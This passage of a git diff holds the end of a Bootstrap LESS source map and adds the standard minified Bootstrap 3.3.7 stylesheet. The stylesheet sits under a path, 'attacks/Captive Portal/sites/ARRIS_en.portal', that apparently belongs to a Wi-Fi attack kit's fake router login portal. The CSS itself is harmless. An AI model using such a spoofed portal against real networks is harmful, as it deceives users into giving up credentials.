.glyphicon-chevron-right {\n right: 50%;\n margin-right: -10px;\n }\n .icon-prev,\n .icon-next {\n width: 20px;\n height: 20px;\n line-height: 1;\n font-family: serif;\n }\n\n\n .icon-prev {\n &:before {\n content: '\\2039';// SINGLE LEFT-POINTING ANGLE QUOTATION MARK (U+2039)\n }\n }\n .icon-next {\n &:before {\n content: '\\203a';// SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (U+203A)\n }\n }\n}\n\n// Optional indicator pips\n//\n// Add an unordered list with the following class and add a list item for each\n// slide your carousel holds.\n\n.carousel-indicators {\n position: absolute;\n bottom: 10px;\n left: 50%;\n z-index: 15;\n width: 60%;\n margin-left: -30%;\n padding-left: 0;\n list-style: none;\n text-align: center;\n\n li {\n display: inline-block;\n width: 10px;\n height: 10px;\n margin: 1px;\n text-indent: -999px;\n border: 1px solid @carousel-indicator-border-color;\n border-radius: 10px;\n cursor: pointer;\n\n // IE8-9 hack for event handling\n //\n // Internet Explorer 8-9 does not support clicks on elements without a set\n // `background-color`. We cannot use `filter` since that's not viewed as a\n // background color by the browser. Thus, a hack is needed.\n // See https://developer.mozilla.org/en-US/docs/Web/Events/click#Internet_Explorer\n //\n // For IE8, we set solid black as it doesn't support `rgba()`. For IE9, we\n // set alpha transparency for the best results possible.\n background-color: #000 \\9; // IE8\n background-color: rgba(0,0,0,0); // IE9\n }\n .active {\n margin: 0;\n width: 12px;\n height: 12px;\n background-color: @carousel-indicator-active-bg;\n }\n}\n\n// Optional captions\n// -----------------------------\n// Hidden by default for smaller viewports\n.carousel-caption {\n position: absolute;\n left: 15%;\n right: 15%;\n bottom: 20px;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: @carousel-caption-color;\n text-align: center;\n text-shadow: @carousel-text-shadow;\n & .btn {\n text-shadow: none; // No shadow for button elements in carousel-caption\n }\n}\n\n\n// Scale up controls for tablets and up\n@media screen and (min-width: @screen-sm-min) {\n\n // Scale up the controls a smidge\n .carousel-control {\n .glyphicon-chevron-left,\n .glyphicon-chevron-right,\n .icon-prev,\n .icon-next {\n width: (@carousel-control-font-size * 1.5);\n height: (@carousel-control-font-size * 1.5);\n margin-top: (@carousel-control-font-size / -2);\n font-size: (@carousel-control-font-size * 1.5);\n }\n .glyphicon-chevron-left,\n .icon-prev {\n margin-left: (@carousel-control-font-size / -2);\n }\n .glyphicon-chevron-right,\n .icon-next {\n margin-right: (@carousel-control-font-size / -2);\n }\n }\n\n // Show and left align the captions\n .carousel-caption {\n left: 20%;\n right: 20%;\n padding-bottom: 30px;\n }\n\n // Move up the indicators\n .carousel-indicators {\n bottom: 20px;\n }\n}\n","// Clearfix\n//\n// For modern browsers\n// 1. The space content is one way to avoid an Opera bug when the\n// contenteditable attribute is included anywhere else in the document.\n// Otherwise it causes space to appear at the top and bottom of elements\n// that are clearfixed.\n// 2. The use of `table` rather than `block` is only necessary if using\n// `:before` to contain the top-margins of child elements.\n//\n// Source: http://nicolasgallagher.com/micro-clearfix-hack/\n\n.clearfix() {\n &:before,\n &:after {\n content: \" \"; // 1\n display: table; // 2\n }\n &:after {\n clear: both;\n }\n}\n","// Center-align a block level element\n\n.center-block() {\n display: block;\n margin-left: auto;\n margin-right: auto;\n}\n","// CSS image replacement\n//\n// Heads up! v3 launched with only `.hide-text()`, but per our pattern for\n// mixins being reused as classes with the same name, this doesn't hold up. As\n// of v3.0.1 we have added `.text-hide()` and deprecated `.hide-text()`.\n//\n// Source: https://github.com/h5bp/html5-boilerplate/commit/aa0396eae757\n\n// Deprecated as of v3.0.1 (has been removed in v4)\n.hide-text() {\n font: ~\"0/0\" a;\n color: transparent;\n text-shadow: none;\n background-color: transparent;\n border: 0;\n}\n\n// New mixin to use as of v3.0.1\n.text-hide() {\n .hide-text();\n}\n","//\n// Responsive: Utility classes\n// --------------------------------------------------\n\n\n// IE10 in Windows (Phone) 8\n//\n// Support for responsive views via media queries is kind of borked in IE10, for\n// Surface/desktop in split view and for Windows Phone 8. This particular fix\n// must be accompanied by a snippet of JavaScript to sniff the user agent and\n// apply some conditional CSS to *only* the Surface/desktop Windows 8. Look at\n// our Getting Started page for more information on this bug.\n//\n// For more information, see the following:\n//\n// Issue: https://github.com/twbs/bootstrap/issues/10497\n// Docs: http://getbootstrap.com/getting-started/#support-ie10-width\n// Source: http://timkadlec.com/2013/01/windows-phone-8-and-device-width/\n// Source: http://timkadlec.com/2012/10/ie10-snap-mode-and-responsive-design/\n\n@-ms-viewport {\n width: device-width;\n}\n\n\n// Visibility utilities\n// Note: Deprecated .visible-xs, .visible-sm, .visible-md, and .visible-lg as of v3.2.0\n.visible-xs,\n.visible-sm,\n.visible-md,\n.visible-lg {\n .responsive-invisibility();\n}\n\n.visible-xs-block,\n.visible-xs-inline,\n.visible-xs-inline-block,\n.visible-sm-block,\n.visible-sm-inline,\n.visible-sm-inline-block,\n.visible-md-block,\n.visible-md-inline,\n.visible-md-inline-block,\n.visible-lg-block,\n.visible-lg-inline,\n.visible-lg-inline-block {\n display: none !important;\n}\n\n.visible-xs {\n @media (max-width: @screen-xs-max) {\n .responsive-visibility();\n }\n}\n.visible-xs-block {\n @media (max-width: @screen-xs-max) {\n display: block !important;\n }\n}\n.visible-xs-inline {\n @media (max-width: @screen-xs-max) {\n display: inline !important;\n }\n}\n.visible-xs-inline-block {\n @media (max-width: @screen-xs-max) {\n display: inline-block !important;\n }\n}\n\n.visible-sm {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n .responsive-visibility();\n }\n}\n.visible-sm-block {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: block !important;\n }\n}\n.visible-sm-inline {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: inline !important;\n }\n}\n.visible-sm-inline-block {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n display: inline-block !important;\n }\n}\n\n.visible-md {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n .responsive-visibility();\n }\n}\n.visible-md-block {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: block !important;\n }\n}\n.visible-md-inline {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: inline !important;\n }\n}\n.visible-md-inline-block {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n display: inline-block !important;\n }\n}\n\n.visible-lg {\n @media (min-width: @screen-lg-min) {\n .responsive-visibility();\n }\n}\n.visible-lg-block {\n @media (min-width: @screen-lg-min) {\n display: block !important;\n }\n}\n.visible-lg-inline {\n @media (min-width: @screen-lg-min) {\n display: inline !important;\n }\n}\n.visible-lg-inline-block {\n @media (min-width: @screen-lg-min) {\n display: inline-block !important;\n }\n}\n\n.hidden-xs {\n @media (max-width: @screen-xs-max) {\n .responsive-invisibility();\n }\n}\n.hidden-sm {\n @media (min-width: @screen-sm-min) and (max-width: @screen-sm-max) {\n .responsive-invisibility();\n }\n}\n.hidden-md {\n @media (min-width: @screen-md-min) and (max-width: @screen-md-max) {\n .responsive-invisibility();\n }\n}\n.hidden-lg {\n @media (min-width: @screen-lg-min) {\n .responsive-invisibility();\n }\n}\n\n\n// Print utilities\n//\n// Media queries are placed on the inside to be mixin-friendly.\n\n// Note: Deprecated .visible-print as of v3.2.0\n.visible-print {\n .responsive-invisibility();\n\n @media print {\n .responsive-visibility();\n }\n}\n.visible-print-block {\n display: none !important;\n\n @media print {\n display: block !important;\n }\n}\n.visible-print-inline {\n display: none !important;\n\n @media print {\n display: inline !important;\n }\n}\n.visible-print-inline-block {\n display: none !important;\n\n @media print {\n display: inline-block !important;\n }\n}\n\n.hidden-print {\n @media print {\n .responsive-invisibility();\n }\n}\n","// Responsive utilities\n\n//\n// More easily include all the states for responsive-utilities.less.\n.responsive-visibility() {\n display: block !important;\n table& { display: table !important; }\n tr& { display: table-row !important; }\n th&,\n td& { display: table-cell !important; }\n}\n\n.responsive-invisibility() {\n display: none !important;\n}\n"]} \ No newline at end of file diff --git a/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.min.css b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.min.css new file mode 100644 index 0000000..ed3905e --- /dev/null +++ b/attacks/Captive Portal/sites/ARRIS_en.portal/css/bootstrap.min.css @@ -0,0 +1,6 @@ +/*! + * Bootstrap v3.3.7 (http://getbootstrap.com) + * Copyright 2011-2016 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + *//*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:not(:root){overflow:hidden}figure{margin:1em 40px}hr{height:0;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box}pre{overflow:auto}code,kbd,pre,samp{font-family:monospace,monospace;font-size:1em}button,input,optgroup,select,textarea{margin:0;font:inherit;color:inherit}button{overflow:visible}button,select{text-transform:none}button,html input[type=button],input[type=reset],input[type=submit]{-webkit-appearance:button;cursor:pointer}button[disabled],html input[disabled]{cursor:default}button::-moz-focus-inner,input::-moz-focus-inner{padding:0;border:0}input{line-height:normal}input[type=checkbox],input[type=radio]{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:0}input[type=number]::-webkit-inner-spin-button,input[type=number]::-webkit-outer-spin-button{height:auto}input[type=search]{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-appearance:textfield}input[type=search]::-webkit-search-cancel-button,input[type=search]::-webkit-search-decoration{-webkit-appearance:none}fieldset{padding:.35em .625em .75em;margin:0 2px;border:1px solid silver}legend{padding:0;border:0}textarea{overflow:auto}optgroup{font-weight:700}table{border-spacing:0;border-collapse:collapse}td,th{padding:0}/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */@media print{*,:after,:before{color:#000!important;text-shadow:none!important;background:0 0!important;-webkit-box-shadow:none!important;box-shadow:none!important}a,a:visited{text-decoration:underline}a[href]:after{content:" (" attr(href) ")"}abbr[title]:after{content:" (" attr(title) ")"}a[href^="javascript:"]:after,a[href^="#"]:after{content:""}blockquote,pre{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}img,tr{page-break-inside:avoid}img{max-width:100%!important}h2,h3,p{orphans:3;widows:3}h2,h3{page-break-after:avoid}.navbar{display:none}.btn>.caret,.dropup>.btn>.caret{border-top-color:#000!important}.label{border:1px solid #000}.table{border-collapse:collapse!important}.table td,.table th{background-color:#fff!important}.table-bordered td,.table-bordered th{border:1px solid #ddd!important}}@font-face{font-family:'Glyphicons Halflings';src:url(../fonts/glyphicons-halflings-regular.eot);src:url(../fonts/glyphicons-halflings-regular.eot?#iefix) format('embedded-opentype'),url(../fonts/glyphicons-halflings-regular.woff2) format('woff2'),url(../fonts/glyphicons-halflings-regular.woff) format('woff'),url(../fonts/glyphicons-halflings-regular.ttf) format('truetype'),url(../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular) format('svg')}.glyphicon{position:relative;top:1px;display:inline-block;font-family:'Glyphicons Halflings';font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.glyphicon-asterisk:before{content:"\002a"}.glyphicon-plus:before{content:"\002b"}.glyphicon-eur:before,.glyphicon-euro:before{content:"\20ac"}.glyphicon-minus:before{content:"\2212"}.glyphicon-cloud:before{content:"\2601"}.glyphicon-envelope:before{content:"\2709"}.glyphicon-pencil:before{content:"\270f"}.glyphicon-glass:before{content:"\e001"}.glyphicon-music:before{content:"\e002"}.glyphicon-search:before{content:"\e003"}.glyphicon-heart:before{content:"\e005"}.glyphicon-star:before{content:"\e006"}.glyphicon-star-empty:before{content:"\e007"}.glyphicon-user:before{content:"\e008"}.glyphicon-film:before{content:"\e009"}.glyphicon-th-large:before{content:"\e010"}.glyphicon-th:before{content:"\e011"}.glyphicon-th-list:before{content:"\e012"}.glyphicon-ok:before{content:"\e013"}.glyphicon-remove:before{content:"\e014"}.glyphicon-zoom-in:before{content:"\e015"}.glyphicon-zoom-out:before{content:"\e016"}.glyphicon-off:before{content:"\e017"}.glyphicon-signal:before{content:"\e018"}.glyphicon-cog:before{content:"\e019"}.glyphicon-trash:before{content:"\e020"}.glyphicon-home:before{content:"\e021"}.glyphicon-file:before{content:"\e022"}.glyphicon-time:before{content:"\e023"}.glyphicon-road:before{content:"\e024"}.glyphicon-download-alt:before{content:"\e025"}.glyphicon-download:before{content:"\e026"}.glyphicon-upload:before{content:"\e027"}.glyphicon-inbox:before{content:"\e028"}.glyphicon-play-circle:before{content:"\e029"}.glyphicon-repeat:before{content:"\e030"}.glyphicon-refresh:before{content:"\e031"}.glyphicon-list-alt:before{content:"\e032"}.glyphicon-lock:before{content:"\e033"}.glyphicon-flag:before{content:"\e034"}.glyphicon-headphones:before{content:"\e035"}.glyphicon-volume-off:before{content:"\e036"}.glyphicon-volume-down:before{content:"\e037"}.glyphicon-volume-up:before{content:"\e038"}.glyphicon-qrcode:before{content:"\e039"}.glyphicon-barcode:before{content:"\e040"}.glyphicon-tag:before{content:"\e041"}.glyphicon-tags:before{content:"\e042"}.glyphicon-book:before{content:"\e043"}.glyphicon-bookmark:before{content:"\e044"}.glyphicon-print:before{content:"\e045"}.glyphicon-camera:before{content:"\e046"}.glyphicon-font:before{content:"\e047"}.glyphicon-bold:before{content:"\e048"}.glyphicon-italic:before{content:"\e049"}.glyphicon-text-height:before{content:"\e050"}.glyphicon-text-width:before{content:"\e051"}.glyphicon-align-left:before{content:"\e052"}.glyphicon-align-center:before{content:"\e053"}.glyphicon-align-right:before{content:"\e054"}.glyphicon-align-justify:before{content:"\e055"}.glyphicon-list:before{content:"\e056"}.glyphicon-indent-left:before{content:"\e057"}.glyphicon-indent-right:before{content:"\e058"}.glyphicon-facetime-video:before{content:"\e059"}.glyphicon-picture:before{content:"\e060"}.glyphicon-map-marker:before{content:"\e062"}.glyphicon-adjust:before{content:"\e063"}.glyphicon-tint:before{content:"\e064"}.glyphicon-edit:before{content:"\e065"}.glyphicon-share:before{content:"\e066"}.glyphicon-check:before{content:"\e067"}.glyphicon-move:before{content:"\e068"}.glyphicon-step-backward:before{content:"\e069"}.glyphicon-fast-backward:before{content:"\e070"}.glyphicon-backward:before{content:"\e071"}.glyphicon-play:before{content:"\e072"}.glyphicon-pause:before{content:"\e073"}.glyphicon-stop:before{content:"\e074"}.glyphicon-forward:before{content:"\e075"}.glyphicon-fast-forward:before{content:"\e076"}.glyphicon-step-forward:before{content:"\e077"}.glyphicon-eject:before{content:"\e078"}.glyphicon-chevron-left:before{content:"\e079"}.glyphicon-chevron-right:before{content:"\e080"}.glyphicon-plus-sign:before{content:"\e081"}.glyphicon-minus-sign:before{content:"\e082"}.glyphicon-remove-sign:before{content:"\e083"}.glyphicon-ok-sign:before{content:"\e084"}.glyphicon-question-sign:before{content:"\e085"}.glyphicon-info-sign:before{content:"\e086"}.glyphicon-screenshot:before{content:"\e087"}.glyphicon-remove-circle:before{content:"\e088"}.glyphicon-ok-circle:before{content:"\e089"}.glyphicon-ban-circle:before{content:"\e090"}.glyphicon-arrow-left:before{content:"\e091"}.glyphicon-arrow-right:before{content:"\e092"}.glyphicon-arrow-up:before{content:"\e093"}.glyphicon-arrow-down:before{content:"\e094"}.glyphicon-share-alt:before{content:"\e095"}.glyphicon-resize-full:before{content:"\e096"}.glyphicon-resize-small:before{content:"\e097"}.glyphicon-exclamation-sign:before{content:"\e101"}.glyphicon-gift:before{content:"\e102"}.glyphicon-leaf:before{content:"\e103"}.glyphicon-fire:before{content:"\e104"}.glyphicon-eye-open:before{content:"\e105"}.glyphicon-eye-close:before{content:"\e106"}.glyphicon-warning-sign:before{content:"\e107"}.glyphicon-plane:before{content:"\e108"}.glyphicon-calendar:before{content:"\e109"}.glyphicon-random:before{content:"\e110"}.glyphicon-comment:before{content:"\e111"}.glyphicon-magnet:before{content:"\e112"}.glyphicon-chevron-up:before{content:"\e113"}.glyphicon-chevron-down:before{content:"\e114"}.glyphicon-retweet:before{content:"\e115"}.glyphicon-shopping-cart:before{content:"\e116"}.glyphicon-folder-close:before{content:"\e117"}.glyphicon-folder-open:before{content:"\e118"}.glyphicon-resize-vertical:before{content:"\e119"}.glyphicon-resize-horizontal:before{content:"\e120"}.glyphicon-hdd:before{content:"\e121"}.glyphicon-bullhorn:before{content:"\e122"}.glyphicon-bell:before{content:"\e123"}.glyphicon-certificate:before{content:"\e124"}.glyphicon-thumbs-up:before{content:"\e125"}.glyphicon-thumbs-down:before{content:"\e126"}.glyphicon-hand-right:before{content:"\e127"}.glyphicon-hand-left:before{content:"\e128"}.glyphicon-hand-up:before{content:"\e129"}.glyphicon-hand-down:before{content:"\e130"}.glyphicon-circle-arrow-right:before{content:"\e131"}.glyphicon-circle-arrow-left:before{content:"\e132"}.glyphicon-circle-arrow-up:before{content:"\e133"}.glyphicon-circle-arrow-down:before{content:"\e134"}.glyphicon-globe:before{content:"\e135"}.glyphicon-wrench:before{content:"\e136"}.glyphicon-tasks:before{content:"\e137"}.glyphicon-filter:before{content:"\e138"}.glyphicon-briefcase:before{content:"\e139"}.glyphicon-fullscreen:before{content:"\e140"}.glyphicon-dashboard:before{content:"\e141"}.glyphicon-paperclip:before{content:"\e142"}.glyphicon-heart-empty:before{content:"\e143"}.glyphicon-link:before{content:"\e144"}.glyphicon-phone:before{content:"\e145"}.glyphicon-pushpin:before{content:"\e146"}.glyphicon-usd:before{content:"\e148"}.glyphicon-gbp:before{content:"\e149"}.glyphicon-sort:before{content:"\e150"}.glyphicon-sort-by-alphabet:before{content:"\e151"}.glyphicon-sort-by-alphabet-alt:before{content:"\e152"}.glyphicon-sort-by-order:before{content:"\e153"}.glyphicon-sort-by-order-alt:before{content:"\e154"}.glyphicon-sort-by-attributes:before{content:"\e155"}.glyphicon-sort-by-attributes-alt:before{content:"\e156"}.glyphicon-unchecked:before{content:"\e157"}.glyphicon-expand:before{content:"\e158"}.glyphicon-collapse-down:before{content:"\e159"}.glyphicon-collapse-up:before{content:"\e160"}.glyphicon-log-in:before{content:"\e161"}.glyphicon-flash:before{content:"\e162"}.glyphicon-log-out:before{content:"\e163"}.glyphicon-new-window:before{content:"\e164"}.glyphicon-record:before{content:"\e165"}.glyphicon-save:before{content:"\e166"}.glyphicon-open:before{content:"\e167"}.glyphicon-saved:before{content:"\e168"}.glyphicon-import:before{content:"\e169"}.glyphicon-export:before{content:"\e170"}.glyphicon-send:before{content:"\e171"}.glyphicon-floppy-disk:before{content:"\e172"}.glyphicon-floppy-saved:before{content:"\e173"}.glyphicon-floppy-remove:before{content:"\e174"}.glyphicon-floppy-save:before{content:"\e175"}.glyphicon-floppy-open:before{content:"\e176"}.glyphicon-credit-card:before{content:"\e177"}.glyphicon-transfer:before{content:"\e178"}.glyphicon-cutlery:before{content:"\e179"}.glyphicon-header:before{content:"\e180"}.glyphicon-compressed:before{content:"\e181"}.glyphicon-earphone:before{content:"\e182"}.glyphicon-phone-alt:before{content:"\e183"}.glyphicon-tower:before{content:"\e184"}.glyphicon-stats:before{content:"\e185"}.glyphicon-sd-video:before{content:"\e186"}.glyphicon-hd-video:before{content:"\e187"}.glyphicon-subtitles:before{content:"\e188"}.glyphicon-sound-stereo:before{content:"\e189"}.glyphicon-sound-dolby:before{content:"\e190"}.glyphicon-sound-5-1:before{content:"\e191"}.glyphicon-sound-6-1:before{content:"\e192"}.glyphicon-sound-7-1:before{content:"\e193"}.glyphicon-copyright-mark:before{content:"\e194"}.glyphicon-registration-mark:before{content:"\e195"}.glyphicon-cloud-download:before{content:"\e197"}.glyphicon-cloud-upload:before{content:"\e198"}.glyphicon-tree-conifer:before{content:"\e199"}.glyphicon-tree-deciduous:before{content:"\e200"}.glyphicon-cd:before{content:"\e201"}.glyphicon-save-file:before{content:"\e202"}.glyphicon-open-file:before{content:"\e203"}.glyphicon-level-up:before{content:"\e204"}.glyphicon-copy:before{content:"\e205"}.glyphicon-paste:before{content:"\e206"}.glyphicon-alert:before{content:"\e209"}.glyphicon-equalizer:before{content:"\e210"}.glyphicon-king:before{content:"\e211"}.glyphicon-queen:before{content:"\e212"}.glyphicon-pawn:before{content:"\e213"}.glyphicon-bishop:before{content:"\e214"}.glyphicon-knight:before{content:"\e215"}.glyphicon-baby-formula:before{content:"\e216"}.glyphicon-tent:before{content:"\26fa"}.glyphicon-blackboard:before{content:"\e218"}.glyphicon-bed:before{content:"\e219"}.glyphicon-apple:before{content:"\f8ff"}.glyphicon-erase:before{content:"\e221"}.glyphicon-hourglass:before{content:"\231b"}.glyphicon-lamp:before{content:"\e223"}.glyphicon-duplicate:before{content:"\e224"}.glyphicon-piggy-bank:before{content:"\e225"}.glyphicon-scissors:before{content:"\e226"}.glyphicon-bitcoin:before{content:"\e227"}.glyphicon-btc:before{content:"\e227"}.glyphicon-xbt:before{content:"\e227"}.glyphicon-yen:before{content:"\00a5"}.glyphicon-jpy:before{content:"\00a5"}.glyphicon-ruble:before{content:"\20bd"}.glyphicon-rub:before{content:"\20bd"}.glyphicon-scale:before{content:"\e230"}.glyphicon-ice-lolly:before{content:"\e231"}.glyphicon-ice-lolly-tasted:before{content:"\e232"}.glyphicon-education:before{content:"\e233"}.glyphicon-option-horizontal:before{content:"\e234"}.glyphicon-option-vertical:before{content:"\e235"}.glyphicon-menu-hamburger:before{content:"\e236"}.glyphicon-modal-window:before{content:"\e237"}.glyphicon-oil:before{content:"\e238"}.glyphicon-grain:before{content:"\e239"}.glyphicon-sunglasses:before{content:"\e240"}.glyphicon-text-size:before{content:"\e241"}.glyphicon-text-color:before{content:"\e242"}.glyphicon-text-background:before{content:"\e243"}.glyphicon-object-align-top:before{content:"\e244"}.glyphicon-object-align-bottom:before{content:"\e245"}.glyphicon-object-align-horizontal:before{content:"\e246"}.glyphicon-object-align-left:before{content:"\e247"}.glyphicon-object-align-vertical:before{content:"\e248"}.glyphicon-object-align-right:before{content:"\e249"}.glyphicon-triangle-right:before{content:"\e250"}.glyphicon-triangle-left:before{content:"\e251"}.glyphicon-triangle-bottom:before{content:"\e252"}.glyphicon-triangle-top:before{content:"\e253"}.glyphicon-console:before{content:"\e254"}.glyphicon-superscript:before{content:"\e255"}.glyphicon-subscript:before{content:"\e256"}.glyphicon-menu-left:before{content:"\e257"}.glyphicon-menu-right:before{content:"\e258"}.glyphicon-menu-down:before{content:"\e259"}.glyphicon-menu-up:before{content:"\e260"}*{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}:after,:before{-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;line-height:1.42857143;color:#333;background-color:#fff}button,input,select,textarea{font-family:inherit;font-size:inherit;line-height:inherit}a{color:#337ab7;text-decoration:none}a:focus,a:hover{color:#23527c;text-decoration:underline}a:focus{outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}figure{margin:0}img{vertical-align:middle}.carousel-inner>.item>a>img,.carousel-inner>.item>img,.img-responsive,.thumbnail a>img,.thumbnail>img{display:block;max-width:100%;height:auto}.img-rounded{border-radius:6px}.img-thumbnail{display:inline-block;max-width:100%;height:auto;padding:4px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:all .2s ease-in-out;-o-transition:all .2s ease-in-out;transition:all .2s ease-in-out}.img-circle{border-radius:50%}hr{margin-top:20px;margin-bottom:20px;border:0;border-top:1px solid #eee}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.sr-only-focusable:active,.sr-only-focusable:focus{position:static;width:auto;height:auto;margin:0;overflow:visible;clip:auto}[role=button]{cursor:pointer}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:inherit;font-weight:500;line-height:1.1;color:inherit}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-weight:400;line-height:1;color:#777}.h1,.h2,.h3,h1,h2,h3{margin-top:20px;margin-bottom:10px}.h1 .small,.h1 small,.h2 .small,.h2 small,.h3 .small,.h3 small,h1 .small,h1 small,h2 .small,h2 small,h3 .small,h3 small{font-size:65%}.h4,.h5,.h6,h4,h5,h6{margin-top:10px;margin-bottom:10px}.h4 .small,.h4 small,.h5 .small,.h5 small,.h6 .small,.h6 small,h4 .small,h4 small,h5 .small,h5 small,h6 .small,h6 small{font-size:75%}.h1,h1{font-size:36px}.h2,h2{font-size:30px}.h3,h3{font-size:24px}.h4,h4{font-size:18px}.h5,h5{font-size:14px}.h6,h6{font-size:12px}p{margin:0 0 10px}.lead{margin-bottom:20px;font-size:16px;font-weight:300;line-height:1.4}@media (min-width:768px){.lead{font-size:21px}}.small,small{font-size:85%}.mark,mark{padding:.2em;background-color:#fcf8e3}.text-left{text-align:left}.text-right{text-align:right}.text-center{text-align:center}.text-justify{text-align:justify}.text-nowrap{white-space:nowrap}.text-lowercase{text-transform:lowercase}.text-uppercase{text-transform:uppercase}.text-capitalize{text-transform:capitalize}.text-muted{color:#777}.text-primary{color:#337ab7}a.text-primary:focus,a.text-primary:hover{color:#286090}.text-success{color:#3c763d}a.text-success:focus,a.text-success:hover{color:#2b542c}.text-info{color:#31708f}a.text-info:focus,a.text-info:hover{color:#245269}.text-warning{color:#8a6d3b}a.text-warning:focus,a.text-warning:hover{color:#66512c}.text-danger{color:#a94442}a.text-danger:focus,a.text-danger:hover{color:#843534}.bg-primary{color:#fff;background-color:#337ab7}a.bg-primary:focus,a.bg-primary:hover{background-color:#286090}.bg-success{background-color:#dff0d8}a.bg-success:focus,a.bg-success:hover{background-color:#c1e2b3}.bg-info{background-color:#d9edf7}a.bg-info:focus,a.bg-info:hover{background-color:#afd9ee}.bg-warning{background-color:#fcf8e3}a.bg-warning:focus,a.bg-warning:hover{background-color:#f7ecb5}.bg-danger{background-color:#f2dede}a.bg-danger:focus,a.bg-danger:hover{background-color:#e4b9b9}.page-header{padding-bottom:9px;margin:40px 0 20px;border-bottom:1px solid #eee}ol,ul{margin-top:0;margin-bottom:10px}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;margin-left:-5px;list-style:none}.list-inline>li{display:inline-block;padding-right:5px;padding-left:5px}dl{margin-top:0;margin-bottom:20px}dd,dt{line-height:1.42857143}dt{font-weight:700}dd{margin-left:0}@media (min-width:768px){.dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.dl-horizontal dd{margin-left:180px}}abbr[data-original-title],abbr[title]{cursor:help;border-bottom:1px dotted #777}.initialism{font-size:90%;text-transform:uppercase}blockquote{padding:10px 20px;margin:0 0 20px;font-size:17.5px;border-left:5px solid #eee}blockquote ol:last-child,blockquote p:last-child,blockquote ul:last-child{margin-bottom:0}blockquote .small,blockquote footer,blockquote small{display:block;font-size:80%;line-height:1.42857143;color:#777}blockquote .small:before,blockquote footer:before,blockquote small:before{content:'\2014 \00A0'}.blockquote-reverse,blockquote.pull-right{padding-right:15px;padding-left:0;text-align:right;border-right:5px solid #eee;border-left:0}.blockquote-reverse .small:before,.blockquote-reverse footer:before,.blockquote-reverse small:before,blockquote.pull-right .small:before,blockquote.pull-right footer:before,blockquote.pull-right small:before{content:''}.blockquote-reverse .small:after,.blockquote-reverse footer:after,.blockquote-reverse small:after,blockquote.pull-right .small:after,blockquote.pull-right footer:after,blockquote.pull-right small:after{content:'\00A0 \2014'}address{margin-bottom:20px;font-style:normal;line-height:1.42857143}code,kbd,pre,samp{font-family:Menlo,Monaco,Consolas,"Courier New",monospace}code{padding:2px 4px;font-size:90%;color:#c7254e;background-color:#f9f2f4;border-radius:4px}kbd{padding:2px 4px;font-size:90%;color:#fff;background-color:#333;border-radius:3px;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.25);box-shadow:inset 0 -1px 0 rgba(0,0,0,.25)}kbd kbd{padding:0;font-size:100%;font-weight:700;-webkit-box-shadow:none;box-shadow:none}pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:1.42857143;color:#333;word-break:break-all;word-wrap:break-word;background-color:#f5f5f5;border:1px solid #ccc;border-radius:4px}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width:768px){.container{width:750px}}@media (min-width:992px){.container{width:970px}}@media 